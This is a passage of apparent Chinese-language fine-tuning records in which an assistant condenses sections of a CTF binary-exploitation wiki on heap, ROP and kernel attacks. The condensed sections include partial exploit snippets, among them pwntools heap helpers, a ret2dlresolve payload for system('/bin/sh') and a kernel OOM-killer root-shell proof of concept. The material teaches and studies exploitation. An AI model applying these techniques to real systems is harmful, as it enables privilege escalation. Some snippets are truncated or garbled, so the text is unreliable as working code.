"docs-0125dbe1209c851e4550", "original_line": 1285, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "8a0ce66923868f91e3e47e9a", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow", "code:asm"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-33fd779447f307e29698", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「from pwn import *」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：from pwn import *\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“from pwn import *”展开。\n- context(os='linux', arch='amd64', log_level='debug')\n- def cmd(idx): p.recvuntil('>') p.sendline(str(idx))\n- def new(size, content): cmd(1) p.recvuntil('>') p.sendline(str(size)) p.recvuntil('> ') if len(content) >= size: p.send(content) else: p.sendline(content)\n- def delete(idx): cmd(2) p.recvuntil('index \\n> ') p.sendline(str(idx))\n- def show(idx): cmd(3) p.recvuntil('> ') p.sendline(str(idx)) return p.recvline()[:-1]\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2129, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "from pwn import *", "heading_path": ["from pwn import *"], "original_id": "docs-0511eaac0f3b0e77072f", "original_line": 1059, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "1bc06af26f2c17c7a1179101", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-34b10fdcde83c013683d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md` 中的章节「合并 chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md`\n标题：malloc_state 相关函数\n章节：malloc_state 相关函数 > malloc_consolidate > 合并 chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“合并 chunk”展开。\n- } else // 设置 nextchunk 的 prev inuse 为0，以表明可以合并当前 fast chunk。\n- ``c / If max_fast is 0, we know that av hasn't yet been initialized, in which case do so below / // 说明 fastbin 已经初始化 if (get_max_fast() !\n- = 0) { // 清空 fastbin 标记 // 因为要合并 fastbin 中的 chunk 了。\n- / Slightly streamlined version of consolidation code in free() */ size = chunksize(p);\n- prev_inuse(p)) { prevsize = prev_size(p);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 67 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1778, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "合并 chunk", "heading_path": ["malloc_state 相关函数", "malloc_consolidate", "合并 chunk"], "original_id": "docs-04882e15ea46e1ba3010", "original_line": 1139, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md", "source_root": "docs", "source_sha256": "120f69fc5d4393a400a21a2157da8fef9469556c0b752eb8735cfa9c4b827f5e", "split": "train", "split_group_key": "dfc3aaad3bdba26e598fa795", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "malloc_state 相关函数"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc-state.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3532b6a98b79d7da3e63", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「重排堆块结构，释放出 unsorted bin chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x05 The pwn of CTF > Challenge 1 : LCTF2018 PWN easy_heap > 利用步骤 > 重排堆块结构，释放出 unsorted bin chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“重排堆块结构，释放出 unsorted bin chunk”展开。\n- 由于本题只有 10 个可分配块数量，而整个过程中我们需要用到 3 个 unsorted bin 的 chunk ，加上 7 个 tcache 的 chunk ，所以需要进行一下重排，将一个 tcache 的 chunk 放到 3 个 unsorted bin chunk 和 top chunk 之间，否则会触发 top 的合并。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 13 行，首行 `# step 1: get three unsortedbin chunks`\n- plain: 15 行，首行 `+-----+`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 773, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "重排堆块结构，释放出 unsorted bin chunk", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x05 The pwn of CTF", "Challenge 1 : LCTF2018 PWN easy_heap", "利用步骤", "重排堆块结构，释放出 unsorted bin chunk"], "original_id": "docs-f727b0c7f64c32dc1a47", "original_line": 1055, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "b767ddda807f3ad6fdde6c44", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-35b62711ecd0c5cf5d66", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2015 9447 CTF : Search Engine > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- ```shell ➜ 2015_9447ctf_search-engine git:(master) file search search: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f5b70085d957097e91f940f98c0d4cc6fb3...\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 10 行，首行 `➜ 2015_9447ctf_search-engine git:(master) file search`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 558, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "基本信息", "heading_path": ["Fastbin Attack", "2015 9447 CTF : Search Engine", "基本信息"], "original_id": "docs-3c361b266879768b10fe", "original_line": 927, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "2e3458b1254f7653da3274b3", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-35e10f69f85bfe3d4882", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md` 中的章节「解题思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md`\n标题：Double Fetch\n章节：Double Fetch > 2018 0CTF Finals Baby Kernel > 解题思路\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“解题思路”展开。\n- 首先我们需要利用提供的 cmd=0x6666 功能获取内核中 flag 的加载地址，在驱动中以 printk 输出的内容可以通过 dmesg 命令查看，在我们的 exp 中我们可以将 dmesg 的内容输出到文件中，再打开该文件进行读取。\n- 接下来我们便能构造符合 cmd=0x1337 功能的数据结构，其中 flag_len 可以从硬编码中直接获取为 33， flag_str 指向一个用户空间地址。\n- 虽然 flag 存储的地址已知，但是位于内核地址空间当中，我们将之直接传给模块并不能通过验证，那么这里就考虑 double fetch——先传入一个用户地址空间上的合法地址，开另一个线程进行竞争不断修改其为内核空间 flag 的地址，只要有一次命中我们便能获得 flag。\n- 最后我们创建一个恶意线程，不断的将 flag_str 所指向的用户态地址修改为 flag 的内核地址以制造竞争条件，从而使其通过驱动中的逐字节比较检查，输出 flag 内容。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 444, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "解题思路", "heading_path": ["Double Fetch", "2018 0CTF Finals Baby Kernel", "解题思路"], "original_id": "docs-285d52bf6aa5377b0045", "original_line": 782, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "source_root": "docs", "source_sha256": "c9b70bf8939ac1214b392075d17bd8d75fcd6da1799a7a73b3edd911a1a15991", "split": "train", "split_group_key": "c09340f44c6036897a089850", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Double Fetch"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3627911eea103abd8e5c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/environment/build-qemu.md` 中的章节「调试 QEMU」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/environment/build-qemu.md`\n标题：QEMU 下载与编译\n章节：QEMU 下载与编译 > 调试 QEMU\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- QEMU 允许我们通过 -s 或是 -gdb tcp::1234 这样的附加参数来调试虚拟机（比如说调试 Linux kernel），但有的时候我们想要直接调试 QEMU 本体（比如说调试一些自己写的模拟设备），这个时候就需要我们将 Host 上的 QEMU 进程作为待调试对象。\n- 由于 QEMU 本质上也是运行在宿主机上的一个进程，因此我们只需要直接找到其对应的 pid 便能直接使用 gdb attach 进行调试。\n\n关键术语：\n- pwn\n- virtualization\n- qemu\n- environment\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 221, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "调试 QEMU", "heading_path": ["QEMU 下载与编译", "调试 QEMU"], "original_id": "docs-49abdd4ff5db68bf8aa0", "original_line": 1438, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu.md", "source_root": "docs", "source_sha256": "7a872403384ead2f2daba84faf227f631c640da3c7ff7b7e049dd013b69c9a73", "split": "train", "split_group_key": "9e8b4b5a528285e4c8c025aa", "subcategory": "pwn/virtualization/qemu", "terms": ["pwn", "virtualization", "qemu", "environment"], "title": "QEMU 下载与编译"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-36b580fcd8809b9893f0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「确定 flag 地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：DEBUG(\"b *0x4006B9\\nc\") > Stack smash > 32C3 CTF readme > 确定 flag 地址\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定 flag 地址”展开。\n- 我们把断点下载 memset 函数处，然后读取相应的内容如下 ``asm gef➤ c Continuing.\n- qqqqqqq Nice to meet you, qqqqqqq.\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:asm\n\n代码/命令片段线索：\n- asm: 45 行，首行 `gef➤ c`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2246, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "确定 flag 地址", "heading_path": ["DEBUG(\"b *0x4006B9\\nc\")", "Stack smash", "32C3 CTF readme", "确定 flag 地址"], "original_id": "docs-5b60c16be66cd2d4e2a7", "original_line": 1267, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "8355cb50cfa6b7ecc7a4854f", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow", "code:asm"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3702acaa1a91a8ae49a3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「pwntools」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct ropchain > used to make faking data, such relocation, Symbol, Str > pwntools\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 这里我们使用 pwntools 的工具进行攻击。\n- ```python from pwn import * context.binary = elf = ELF(\"./main_partial_relro_32\") rop = ROP(context.binary) dlresolve = Ret2dlresolvePayload(elf,symbol=\"system\",args=[\"/bin/sh\"])\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 204, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "pwntools", "heading_path": ["construct ropchain", "used to make faking data, such relocation, Symbol, Str", "pwntools"], "original_id": "docs-573030baebb81dc7dc07", "original_line": 1333, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "b3e0ef3bf666fa2d8f58d1ac", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3709f5d3ba8489ebc612", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md` 中的章节「tty4::askfirst:/bin/sh」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md`\n标题：利用内存溢出触发 OOM Killer 提供 root shell\n章节：tty4::askfirst:/bin/sh\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“tty4::askfirst:/bin/sh”展开。\n- 而在 CTF kernel pwn 的初始环境当中，rcS 和 sh 通常有着同样的 OOM Score （一般为 678），而我们的 exploit 进程的初始分则通常较低（一般为 666），因此我们通常可以确保在进行大量内存分配的过程当中我们的 exploit 进程是最后被杀掉的，从而保证了当前 tty 最终不会有进程占用而唤起 root shell。\n- 因此若是要达成这种攻击，我们需要在进行内存分配的同时避免增长我们的 exploit 进程的 OOM Score ，这通常可以通过内核层的非记录型页面分配行为完成，一个比较好的例子便是 packet socket 的 ring buffer 的分配，以下是一个最小化的 POC（create_pgv_socket() 等封装函数参见 D^3CTF2025 - d3kshrm）： > 此外，如果题目提供了进行大量分配内存页的权能（例如 D^3CTF2025 - d3kshrm，我们通常也可以直接使用题目所提供的 A...\n- 不过需要注意的一点是这并不意味着仅是简单地进行内存分配就可以了，直接进行大量的内存分配会让 exploit 进程的 OOM Score 迅速增长，此时在 OOM Killer 的杀戮队列当中我们的 exploit 进程便是首当其冲的，而我们的 exploit 进程被杀掉之后内存分配的动作便停止了，OOM Killer 便不需要再去继续杀死后续的进程，从而导致最后的结果只是我们的 exploit 被简单地杀掉。\n- `c void unintended_exploit(void) { int errno;\n- i++) { if ((errno = create_pgv_socket(i)) < 0) { printf(ERROR_MSG(\"[x] Failed to allocate socket: \") \"%d\\n\", i);\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n代码/命令片段线索：\n- plain: 4 行，首行 `我们注意到 `::askfirst:` 项被配置为 `/bin/sh` ，这意味着 **如果我们能够触发 OOM Killer 将 1 号以外的所有的用户态进程杀掉，我们便能自动获得一个 root 权限的 shell** 。而在 CT...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1625, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "tty4::askfirst:/bin/sh", "heading_path": ["tty4::askfirst:/bin/sh"], "original_id": "docs-f750bc8deb2ea23c486b", "original_line": 833, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md", "source_root": "docs", "source_sha256": "10560a87f70732d7331fa0c3e8c736a4f44e33632f40fef391a858737062a392", "split": "train", "split_group_key": "7a162e3c7ddf72f1ab61c8cf", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "利用内存溢出触发 OOM Killer 提供 root shell"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/out-of-mem-shell.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-3734dec7ebc69abf74cd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「EXPLOIT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`\n标题：Cross-Cache Overflow & Page-level Heap Fengshui\n章节：Cross-Cache Overflow & Page-level Heap Fengshui > 例题：corCTF2022 - cache-of-castaways > EXPLOIT\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“EXPLOIT”展开。\n- } int waiting_for_root_fn(void args) { / we're using the same stack for them, so we need to avoid cracking it.. / __asm__ volatile ( \" lea rax, [check_root_pipe];\n- \" / execve(\"/bin/sh\", args, NULL) / \"failed: \" \" lea rdi, [timer];\n- if (socket_fd < 0) { printf(\"[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\\n\");\n- if (ret < 0) { printf(\"[x] failed at setsockopt(PACKET_VERSION)\\n\");\n- if (ret < 0) { printf(\"[x] failed at setsockopt(PACKET_TX_RING)\\n\");\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5064, "chunk_count": 2, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "EXPLOIT", "heading_path": ["Cross-Cache Overflow & Page-level Heap Fengshui", "例题：corCTF2022 - cache-of-castaways", "EXPLOIT"], "original_id": "docs-06b2d6ea1997e628169e", "original_line": 735, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "source_root": "docs", "source_sha256": "a2c8dfa6b0a89023b0f0db82bad6de6ee6403266bdc7488673a702ae7cd05846", "split": "train", "split_group_key": "f247d67898853a9bcf5ecc9c", "subcategory": "pwn/linux/kernel-mode", "terms": ["边界/溢出", "堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Cross-Cache Overflow & Page-level Heap Fengshui"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-373c23c4ed92baf1b993", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「按照解析中的步骤进行 NULL 字节溢出触发」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x05 The pwn of CTF > Challenge 1 : LCTF2018 PWN easy_heap > 利用步骤 > 按照解析中的步骤进行 NULL 字节溢出触发\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“按照解析中的步骤进行 NULL 字节溢出触发”展开。\n- `python new(0xf8, '0 - overflow') ` 在之后的步骤中，我们需要 A 处于 unsorted bin 释放状态，B 处于分配状态，C 处于分配状态，且最后可以在 tcache 块 7 个全满的情况下进行释放（触发合并），所以我们需要 7 个 tcache 都被 free 掉。\n- 为了触发 NULL 字节溢出，我们需要使得解析中的 B 块可以溢出到 C 块中。\n- `python # fill up tcache delete(6) ` 之后就可以将 C 块释放，进行合并。\n- 由于题目中没有 edit 功能，所以我们需要让 B 块进入 tcache 中，这样就可以在释放后再分配出来，且由于 tcache 没有太多变化和检查，会较为稳定。\n- 此时由于 B 块被分配为 